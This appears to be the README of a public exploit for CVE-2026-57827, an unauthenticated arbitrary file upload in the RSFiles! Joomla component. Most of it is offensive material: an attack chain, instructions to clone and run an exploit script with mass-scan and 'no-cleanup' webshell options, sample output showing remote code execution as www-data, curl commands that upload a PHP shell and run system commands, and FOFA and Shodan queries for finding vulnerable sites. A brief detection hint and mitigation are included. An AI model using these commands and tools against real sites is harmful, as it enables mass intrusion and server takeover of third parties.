CVE-2026-57827

// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /downloads/ (web root, .htaccess OFF by default)
}

1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart, PHP payload)
   folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
   → Skips rsfiles.checkupload (pre-flight) entirely
   → No permission check → No CSRF token check → No file-type check
   → JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
   .htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data

Look for POST requests to:
  index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
  index.php?option=com_rsfiles&task=rsfiles.checkupload

git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests

# Single target
python cve_2026_57827.py -t target.com

# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup

  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

$ python cve_2026_57827.py -t joomla-site.com

  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s

curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

curl 'https://target.com/downloads/shell.php?c=id'

curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'

# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php

# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"

FOFA:   body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"